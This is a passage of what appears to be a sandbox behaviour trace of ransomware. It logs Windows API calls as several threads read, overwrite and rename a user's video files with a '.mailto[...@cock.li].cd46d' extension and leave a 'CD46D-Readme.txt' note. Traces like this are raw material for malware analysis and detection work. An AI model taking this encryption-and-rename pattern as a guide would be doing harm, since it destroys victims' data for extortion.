dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.159] GetLastError () returned 0x5 [0156.159] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7dd8) returned 1 Thread: id = 3913 os_tid = 0x116c [0156.164] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\gk6f-6d_ziuoxt5ota3.swf")) returned 0x20 [0156.974] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf", dwFileAttributes=0x20) returned 1 [0159.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\gk6f-6d_ziuoxt5ota3.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x162c [0159.737] GetFileSizeEx (in: hFile=0x162c, lpFileSize=0xed4fa38 | out: lpFileSize=0xed4fa38*=100730) returned 1 [0159.737] SetFilePointerEx (in: hFile=0x162c, liDistanceToMove=0x18976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.737] ReadFile (in: hFile=0x162c, lpBuffer=0xed4f9bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xed4f9b8, lpOverlapped=0x0 | out: lpBuffer=0xed4f9bc*, lpNumberOfBytesRead=0xed4f9b8*=0x4, lpOverlapped=0x0) returned 1 [0159.739] SetFilePointerEx (in: hFile=0x162c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0159.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e220 [0159.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e018 [0159.739] NtQuerySystemTime (in: CurrentTime=0xed4f998 | out: CurrentTime=0xed4f998*=132174899343298000) returned 0x0 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x192991c4 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x2f25d5cc [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x36faa58d [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x417a5fde [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x35d94e8b [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x6882dad6 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x50043fc [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x4ad6ec5b [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x54b30861 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x592851e4 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x396a04 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x5cd3e9dd [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x56a107d4 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x7f51eda0 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x230d3f7a [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x73bb0aca [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x380327e5 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x4fa14c58 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x25fb380b [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x478d7f0f [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x52ecfa0c [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x29564cb5 [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x284c21ea [0159.739] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x3792ee9e [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x7b0bfb6f [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x133e8e49 [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x79198e2c [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0xf2e5f51 [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x781ad52b [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x165beb16 [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x8283ccf [0159.740] RtlRandomEx (in: Seed=0xed4f9a4 | out: Seed=0xed4f9a4) returned 0x6d897834 [0159.752] SetFilePointerEx (in: hFile=0x162c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.752] ReadFile (in: hFile=0x162c, lpBuffer=0x12d010b8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xed4f978, lpOverlapped=0x0 | out: lpBuffer=0x12d010b8*, lpNumberOfBytesRead=0xed4f978*=0xc800, lpOverlapped=0x0) returned 1 [0159.753] SetFilePointerEx (in: hFile=0x162c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.753] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2788 [0159.753] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cbc0 [0159.753] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0159.753] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e090) returned 1 [0159.754] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12d0d8c0 [0159.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0159.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e018 [0159.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e018) returned 1 [0159.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cbc0) returned 1 [0159.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0159.758] WriteFile (in: hFile=0x162c, lpBuffer=0x12d0d8c0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xed4f978, lpOverlapped=0x0 | out: lpBuffer=0x12d0d8c0*, lpNumberOfBytesWritten=0xed4f978*=0xc800, lpOverlapped=0x0) returned 1 [0161.421] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d8c0) returned 1 [0161.421] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d010b8) returned 1 [0161.421] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3b) returned 0x8d2788 [0161.421] SetFilePointerEx (in: hFile=0x162c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.421] WriteFile (in: hFile=0x162c, lpBuffer=0x8ebe78*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xed4f9f8, lpOverlapped=0x0 | out: lpBuffer=0x8ebe78*, lpNumberOfBytesWritten=0xed4f9f8*=0x11f, lpOverlapped=0x0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfa0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e090) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e220) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e0e0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e0b8) returned 1 [0163.088] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x8f6bf8 [0163.088] wcscpy (in: _Dest=0x8f6bf8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf" [0163.088] wcscat (in: _Dest=0x8f6bf8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf.mailto[2Hamlampampom@cock.li].cd46d" [0163.088] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xed4f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\gK6F-6d_ziuOxt5oTA3.swf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.088] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf6) returned 0x8ec5d8 [0164.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec5d8) returned 1 [0164.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c5a288) returned 1 [0164.110] NtQueryInformationFile (in: FileHandle=0x162c, IoStatusBlock=0xed4f9bc, FileInformation=0xed4f994, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xed4f9bc, FileInformation=0xed4f994) returned 0x0 [0164.110] NtSetInformationFile (FileHandle=0x162c, IoStatusBlock=0xed4f9bc, FileInformation=0xed4f994, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6bf8) returned 1 [0164.112] FlushFileBuffers (hFile=0x162c) returned 1 [0164.120] CloseHandle (hObject=0x162c) returned 1 [0164.124] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c77758 [0164.124] wcscpy (in: _Dest=0x12c77758, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0164.124] wcscat (in: _Dest=0x12c77758, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0164.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0164.124] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77758) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad3e8) returned 1 Thread: id = 3915 os_tid = 0x1174 [0156.164] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\iihc_9.mkv")) returned 0x20 [0156.770] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv", dwFileAttributes=0x20) returned 1 [0157.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\iihc_9.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11b0 [0157.415] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0xe65f80c | out: lpFileSize=0xe65f80c*=59358) returned 1 [0157.415] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0xe7da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.415] ReadFile (in: hFile=0x11b0, lpBuffer=0xe65f790, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe65f78c, lpOverlapped=0x0 | out: lpBuffer=0xe65f790*, lpNumberOfBytesRead=0xe65f78c*=0x4, lpOverlapped=0x0) returned 1 [0157.417] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0157.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedf8 [0157.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0157.417] NtQuerySystemTime (in: CurrentTime=0xe65f76c | out: CurrentTime=0xe65f76c*=132174899320054000) returned 0x0 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x2e542266 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x6c4f822e [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xff57682 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x108d65c4 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x286e8d47 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x354c7c88 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x441d7878 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x55808249 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x5ee91920 [0157.417] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x69d5767d [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x498ab44f [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x7e75eba [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x60bdaa9d [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xd6a7379 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x7fa98442 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x566ea9c1 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x7cf6d695 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xf0fc518 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x7d8017b [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x3b6a14cc [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x32aa00ac [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x7a0f4bb5 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x4e21254d [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x543f522b [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x54fa1563 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xe8d5f56 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x1ec87194 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x6268d878 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x324256c2 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xc30f7de [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0x727392c9 [0157.418] RtlRandomEx (in: Seed=0xe65f778 | out: Seed=0xe65f778) returned 0xd62aded [0157.429] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.429] ReadFile (in: hFile=0x11b0, lpBuffer=0xd511880, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe65f74c, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesRead=0xe65f74c*=0xc800, lpOverlapped=0x0) returned 1 [0157.430] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2788 [0157.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c710 [0157.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0157.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0157.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd51e088 [0157.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0157.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0157.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0157.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c710) returned 1 [0157.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0157.433] WriteFile (in: hFile=0x11b0, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe65f74c, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0xe65f74c*=0xc800, lpOverlapped=0x0) returned 1 [0157.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0157.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0157.435] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x21) returned 0x8d8928 [0157.435] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.436] WriteFile (in: hFile=0x11b0, lpBuffer=0x9bfcf8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xe65f7cc, lpOverlapped=0x0 | out: lpBuffer=0x9bfcf8*, lpNumberOfBytesWritten=0xe65f7cc*=0x105, lpOverlapped=0x0) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfcf8) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee20) returned 1 [0157.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0a0) returned 1 [0157.437] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc6) returned 0x938ff8 [0157.437] wcscpy (in: _Dest=0x938ff8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv" [0157.437] wcscat (in: _Dest=0x938ff8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0157.437] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe65f784, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\iihc_9.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0157.437] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x9bfcf8 [0157.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfcf8) returned 1 [0157.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96c1b0) returned 1 [0157.441] NtQueryInformationFile (in: FileHandle=0x11b0, IoStatusBlock=0xe65f790, FileInformation=0xe65f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe65f790, FileInformation=0xe65f768) returned 0x0 [0157.441] NtSetInformationFile (FileHandle=0x11b0, IoStatusBlock=0xe65f790, FileInformation=0xe65f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0157.442] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938ff8) returned 1 [0157.442] FlushFileBuffers (hFile=0x11b0) returned 1 [0158.535] CloseHandle (hObject=0x11b0) returned 1 [0159.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b8830 [0159.597] wcscpy (in: _Dest=0xd4b8830, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0159.597] wcscat (in: _Dest=0xd4b8830, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0159.597] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0159.597] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8830) returned 1 [0159.597] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c504a0) returned 1 Thread: id = 3917 os_tid = 0x117c [0156.165] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\m18as.avi")) returned 0x20 [0156.978] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi", dwFileAttributes=0x20) returned 1 [0158.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\m18as.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16fc [0158.539] GetFileSizeEx (in: hFile=0x16fc, lpFileSize=0xef7fbdc | out: lpFileSize=0xef7fbdc*=13633) returned 1 [0158.539] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x353d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.539] ReadFile (in: hFile=0x16fc, lpBuffer=0xef7fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xef7fb5c, lpOverlapped=0x0 | out: lpBuffer=0xef7fb60*, lpNumberOfBytesRead=0xef7fb5c*=0x4, lpOverlapped=0x0) returned 1 [0158.541] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0158.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af3e8 [0158.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 